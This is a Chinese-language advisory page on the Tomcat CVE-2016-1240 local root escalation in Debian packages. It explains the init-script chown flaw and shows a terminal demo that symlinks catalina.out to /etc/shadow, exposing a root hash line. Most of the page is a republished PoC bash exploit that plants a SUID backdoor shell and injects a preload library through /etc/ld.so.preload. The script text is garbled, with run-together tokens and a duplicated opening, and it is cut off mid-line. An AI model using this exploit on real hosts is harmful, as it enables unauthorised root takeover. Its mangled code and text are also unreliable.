1. 程式人生 > >Tomcat 服務本地提權漏洞預警

Tomcat 服務本地提權漏洞預警

10月1日,Tomcat爆出了一個本地提權漏洞。通過該漏洞,攻擊者可以通過一個低許可權的Tomcat使用者獲得系統的root許可權。

漏洞相關資訊:

CVE ID:

  • CVE-2016-1240

漏洞原理:

在Debian系統的Linux上管理員通常利用apt-get進行包管理,deb包是Unixar的標準歸檔,講包檔案資訊以及包內容,經過gzip和tar打包而成。

該問題出在Tomcat的deb包中,使 deb包安裝的Tomcat程式會自動為管理員安裝一個啟動指令碼,該指令碼位於/etc/init.d/tomcat*, 跟蹤程式碼如下:

1234567891011171  # Run the catalina.sh script as a daemon
 set+e
 touch"$CATALINA_PID""$CATALINA_BASE"/logs/catalina.out chown$TOMCAT7_USER"$CATALINA_PID""$CATALINA_BASE"/logs/catalina.out start-stop-daemon--start-b-u"$TOMCAT7_USER"-g"$TOMCAT7_GROUP"\ -c"$TOMCAT7_USER"-d"$CATALINA_TMPDIR"-p"$CATALINA_PID"\ -x/bin/bash---c"$AUTHBIND_COMMAND $TOMCAT_SH" status="$?"
  set+a-e

在174行,Tomcat服務在啟動時,會將log檔案catalina.out的所有者改為Tomcat使用者, 而啟動指令碼通常由root使用者呼叫。如果將catalina.out修改為指向任意檔案的連結將會導致攻擊者以高許可權隨意操作任意系統檔案。

利用分析:

該漏洞利用難度不大且場景常見,攻擊者在上傳webshell後拿到Tomcat使用者許可權,將catalina.out修改為指向 /etc/shadow 的softlink檔案,啟動指令碼執行後,Tomcat使用者將對 /etc/shadow 有訪問許可權,今讀取修改root使用者密碼,測試如下:

➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out”
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil e WARNING: Problem with directory [/usr/share/tomcat6/common/classes], exists: [fa lse],

isDirectory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

le

WARNING: Problem with directory [/usr/share/tomcat6/common], exists: [false], isD

irec

tory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil

e

WARNING: Problem with directory [/usr/share/tomcat6/server/classes], exists: [fal

se],

isDirectory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

le

WARNING: Problem with directory [/usr/share/tomcat6/server], exists: [false], isD

irec

tory: [false], canRead: [false]

Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi

le

WARNING: Problem with directory [/usr/share/tomcat6/shared/classes], exists: [fal

se],

isDirectory: [false], canRead: [false]

➜ ~ su tomcat6 -c “ln -fs /etc/shadow /var/log/tomcat6/catalina.out”

➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out”
head: cannot open ‘/var/log/tomcat6/catalina.out’ for reading: Permission denied

➜ ~ service tomcat6 start

➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” root:$6$RYhPkXbD$6w2cN3u44Q 01gpHPMEjo9fgMXr7..1:16993:0:99999:7::: daemon:*:16911:0:99999:7::: bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::
games:*:16911:0:99999:7:::
man:*:16911:0:99999:7:::
lp:*:16911:0:99999:7:::
mail:*:16911:0:99999:7:::
news:*:16911:0:99999:7:::

該漏洞發現者也在報告公開 PoC, 利用也很有趣,作者不甘於單純的檔案操作,巧妙利用獲得了一個root許可權的shell

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393#!/bin/bash BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/tomcatrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"functioncleanexit{   # Cleanup   echo-e"\n[+] Cleaning up..."   rm-f$PRIVESCSRC   rm-f$PRIVESCLIB   rm-f$TOMCATLOG   touch$TOMCATLOG   if[-f/etc/ld.so.preload];then       echo-n>/etc/ld.so.preload2>/dev/null   fi   echo-e"\n[+] Job done. Exiting with code $1 \n"exit$1}functionctrl_c(){       echo-e"\n[+]Active exploitation aborted.Remember you can use-deferred switchfordeferred exploitation."   cleanexit0}#introecho-e"\033[94m\nTomcat6/7/8on Debian-based distros-Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"echo-e"Discovered andcoded by:\n\nDawid Golunski\nhttp://legalhackers.com\033[0m"# Argsif[$# -lt 1 ]; then   echo-e"\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"exit3fiif["$2"="-deferred"];then   mode="deferred"else   mode="active"fi# Priv checkecho-e"\n[+]Starting the exploit in[\033[94m$mode\033[0m]mode with the following privileges:\n`id`"id|grep-qtomcatif[$?-ne0];thenecho-e"\n[!] You need to execute the exploit as tomcat user! Exiting.\n"#!/bin/bash BACKDOORSH="/bin/bash"BACKDOORPATH=/TMP/tomcatrootshPRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"functioncleanexit{   # Cleanup   echo-e"\n[+] Cleaning up..."   rm-f$PRIVESCSRC   rm-f$PRIVESCLIB   rm-f$TOMCATLOG   touch$TOMCATLOG   if[-f/etc/ld.so.preload];then       echo-n>/etc/ld.so.preload2>/dev/null   fi   echo-e"\n[+] Job done. Exiting with code $1 \n"exit$1}functionctrl_c(){       echo-e"\n[+]Active exploitation aborted.Remember you can use-deferred switchfordeferred exploitation."   cleanexit0}#introecho-e"\033[94m\nTomcat6/7/8on Debian-based distros-Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"echo-e"Discovered andcoded by:\n\nDawid Golunski\nhttp://legalhackers.com\033[0m"# Argsif[$# -lt 1 ]; then   echo-e"\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"exit3fiif["$2"="-deferred"];then   mode="deferred"else   mode="active"fi# Priv checkecho-e"\n[+]Starting the exploit in[\033[94m$mode\033[0m]mode with the following privileges:\n`id`"id|grep-qtomcatif[$?-ne0];thenecho-e"\n[!] You need to execute the exploit as tomcat user! Exiting.\n"exit3fi# Set target pathsTOMCATLOG="$1"if[!-f$TOMCATLOG];then   echo-e"\n[!]The specified Tomcat catalina.outlog($TOMCATLOG)doesn'texist.Tryagain.\n"exit3fiecho-e"\n[+] Target Tomcat log file set to $TOMCATLOG"# [ Deferred exploitation ]# Symlink the log file to /etc/default/locale file which gets executed daily on default# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around6:25am.# Attackers can freely add their commands to the /etc/default/locale script afterTomcat has been# restarted and file owner gets changed.if["$mode"="deferred"];then   rm-f$TOMCATLOG&&ln-s/etc/default/locale$TOMCATLOG   if[$?-ne0];then       echo-e"\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."       cleanexit3   fi   echo-e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"   echo-e "\n[+]The current owner of the fileis:\n`ls-l/etc/default/locale`"   echo-ne"\n[+]Keep an eye on the owner change on/etc/default/locale.After the Tomcat restart/system reboot"   echo-ne"\n   you'll be able toadd arbitrary commands tothe filewhich willgetexecuted with root privileges"   echo-ne"\n   at~6:25amby the/etc/cron.daily/tomcatN log rotation cron.See also-active mode ifyou can'twait;)\n\n"exit0fi# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho-e"\n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat<<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include<unistd.h>#include <dlfcn.h>uid_t geteuid(void){   static uid_(*old_geteuid)();   old_geteuid=dlsym(RTLD_NEXT,"geteuid");   if(old_geteuid()==0){       chown("$BACKDOORPATH",0,0);       chmod("$BACKDOORPATH",04777);       unlink("/etc/ld.so.preload");}   returnold_geteuid();}_solibeof_gcc-Wall-fPIC-shared-o$PRIVESCLIB$PRIVESCSRC-ldlif[$?-ne0];then   echo-e"\n[!] Failed to compile the privesc lib $PRIVESCSRC."   cleanexit2;fi# Prepare backdoor shellcp$BACKDOORSH$BACKDOORPATHecho-e"\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"# Safety checkif[-f/etc/ld.so.preload];then   echo-e"\n[!] /etc/ld.so.preload already exists. Exiting for safety."   cleanexit2fi# Symlink the log file to ld.so.preloadrm-f$TOMCATLOG&&ln-s/etc/ld.so.preload$TOMCATLOGif[$?-ne0];then   echo-e"\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."   cleanexit3fiecho-e"\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"# Wait for Tomcat to re-open the logsecho-ne"\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."echo-e "\nYou could speed things up by executing:kill[Tomcat-pid](astomcatuser)ifneeded;)"while:;do   sleep0.1   if[-f/etc/ld.so.preload];then       echo$PRIVESCLIB>/etc/ld.so.preloadbreak;fidone # /etc/ld.so.preload file should be owned by tomcat user at this point # Inject the privesc.so shared library to escalate privileges echo$PRIVESCLIB>/etc/ld.so.preload echo-e"\n[+]Tomcat restarted.The/etc/ld

相關推薦

Tomcat 服務本地漏洞預警

10月1日,Tomcat爆出了一個本地提權漏洞。通過該漏洞,攻擊者可以通過一個低許可權的Tomcat使用者獲得系統的root許可權。漏洞相關資訊:CVE ID:CVE-2016-1240漏洞原理:在Debian系統的Linux上管理員通常利用apt-get進行包管理,deb包

漏洞預警Tomcat本地漏洞

Tomcat於10月1日曝出本地提權漏洞CVE-2016-1240。僅需Tomcat使用者低許可權,攻擊者就能利用該漏洞獲取到系統的ROOT許可權。而且該漏洞的利用難度並不大,受影響的使用者需要特別關注。 Tomcat是個執行在Apache上的應用伺服器,支援執行Ser

Tomcat本地漏洞 (CVE-2016-1240 附PoC)

就在各位歡度國慶的時候,Tomcat於10月1日曝出本地提權漏洞CVE-2016-1240。僅需Tomcat使用者低許可權,攻擊者就能利用該漏洞獲取到系統的ROOT許可權。而且該漏洞的利用難度並不大,受影響的使用者需要特別關注。 Tomcat是個執行在Apache上的應用伺

CVE-2016-1240漏洞分析(Tomcat本地漏洞

前幾天刷Freebuf的時候發現了在國慶期間爆了一個Tomcat本地提權漏洞,乍一看漏洞利用指令碼是一個shell批處理,想著也不會太難,就抱著學習的目的試著做了分析。以下是本人的分析學習總結。 0x0 漏洞描述     Debian系統的Linux上管理員通常利用apt-

CVE-2016-1240(Tomcat本地漏洞分析與復現)

前言       Tomcat是個執行在Apache上的應用伺服器,支援執行Servlet/JSP應用程式的容器——可以將Tomcat看作是Apache的擴充套件,實際上Tomcat也可以獨立於Apache執行。        Tomcat於2016年10月1日曝出本地提權漏

重大安全事件 | Ubuntu 16.04.4 暴本地漏洞

漏洞簡介Twitter 上 Nikolenko 發推表示 Ubuntu 最新版本存在一個本地提權

CVE-2014-7911 Android本地漏洞分析與利用

概述 前面我們瞭解了Android Binder機制的基本原理,當然僅僅瞭解是不夠的,我們要做到:Know it and hack it。這篇文章我們就來分析一個和Binder相關的漏洞:CVE-2014-7911。這是由Jann Horn發現的一個Android本

臟牛Linux本地漏洞復現(CVE-2016-5195)

cin 實現 ubun pass 進入 函數 dirty 賬號密碼 swd 學習該漏洞的原因: 總是看到圈子裏一位老哥發文章使用這個漏洞來提權,進過測試發現centos比較難提取,而Ubuntu是比較好提權的。 漏洞範圍: Linux kernel >= 2.6.22

技術乾貨丨Java Web本地以及資料劫持思路(以Tomcat為例)

最近偶然接觸到一個Java的不常用的特性:instrument。簡單來說,這個特性允許你在程式執行之前改變任意類檔案的位元組碼。 簡單的instrument例子大家可以百度,相當多。 而在執行Java程式的時候,只需要加上一個選項即可執行寫好的instrument jar包,如:java -javaa

高危預警 | Windows核心漏洞(CVE-2018-1038)

2018年3月30日,阿里云云盾應急響應中心監測到微軟官方釋出Windows7 x64 和 Windows Server 2008 R2安全補丁(CVE-2018-1038),解決使用者在2018年1月-3月期間因安裝微軟安全補丁而導致系統存在高危核心提權漏洞的問題。

Ubuntu 16.04 漏洞

Ubuntu 提權 Oday Ubuntu 提權漏洞 下午閑來沒事,朋友扔給我一個Ubuntu 提權exp 親測可用,記錄下 /* Ubuntu 16.04.4 kernel priv esc all credits to @bleidl vnik*/ // Tested on:/

CVE-2018-8120 WIN7 08漏洞exp

提權漏洞exp在虛擬機測試成功影響範圍Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 x64.exphttp://www.o2oxy.cn/wp-content/uploads/2018/05/CVE-2018-8120.zipCVE-2

Ubuntu本地(CVE-2017-16995)復現

面向新手,大佬勿噴 漏洞概述 2018-03-16有網友釋出訊息:ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提權漏洞,漏洞編號為CVE-2017-16995。該漏洞存在於呼叫eBPF bpf(2)的Linux核心系統中,當用戶提供惡意BPF程式使eBPF驗證器模組產生計算錯誤,導致任

【10.20總結】一個漏洞提交頁面的漏洞

!!!寫完之後網頁崩潰了,然後草稿找回的內容還不對!!! Write-up地址:Add comment on a private Oculus Developer bug report  漏洞起源於作者Sarmad Hassan (Juba Baghdad)對Oculus網站漏洞(非安全漏洞

墨者學院 - 主機溢位漏洞分析

背景介紹 公司內部伺服器,上面有一簡單的上傳入口,剛入職的小夥伴在C盤根目錄下有一個TXT文字檔案,說許可權設定的很低,除Administrator外,其他使用者無法讀取到內容,直接向安全工程師"墨者"發出挑戰,讓其測試。 實訓目標 1、掌握檔案上傳的技巧; 2、掌握IIS中

關於Kubernetes CVE-2018-1002105 漏洞的修復公告

近日Kubernetes社群發現安全漏洞 CVE-2018-1002105。通過偽造請求,Kubernetes使用者可以在已建立的API Server連線上提權訪問後端服務,阿里雲容器服務已第一時間修復,請登入阿里雲控制檯升級您的Kubernetes版本。 漏洞詳細介紹:https://github.com

Windows 10 漏洞復現及武器化利用

專案地址:https://github.com/SandboxEscaper/randomrepo 相關工具的下載地址: Process Explorer:https://docs.microsoft.com/en-us/sysinternals/downloads/pr

主機溢位漏洞分析

背景介紹 公司內部伺服器,上面有一簡單的上傳入口,剛入職的小夥伴在C盤根目錄下有一個TXT文字檔案,說許可權設定的很低,除Administrator外,其他使用者無法讀取到內容,直接向安全工程師"墨者"發出挑戰,讓其測試。 實訓目標 1、掌握檔案上傳的技巧; 2

關於Android的root漏洞

0x001 什麼是root? 三種常見的root方案: 第一種:利用漏洞提權,並將一個帶有恰當set-uid許可權的su檔案移動到系統分割槽。市面上的一鍵root等工具就是基於此原理。 往/system/xbin放進一個叫su的檔案,設定可執行許可權,並將SUID

Android adb setuid漏洞的分析

去年的Android adb setuid提權漏洞被用於各類root刷機,漏洞發現人Sebastian Krahmer公佈的利用工具RageAgainstTheCage(rageagainstthecage-arm5.bin)被用於z4root等提權工具、Trojan.Android.Rootcager等惡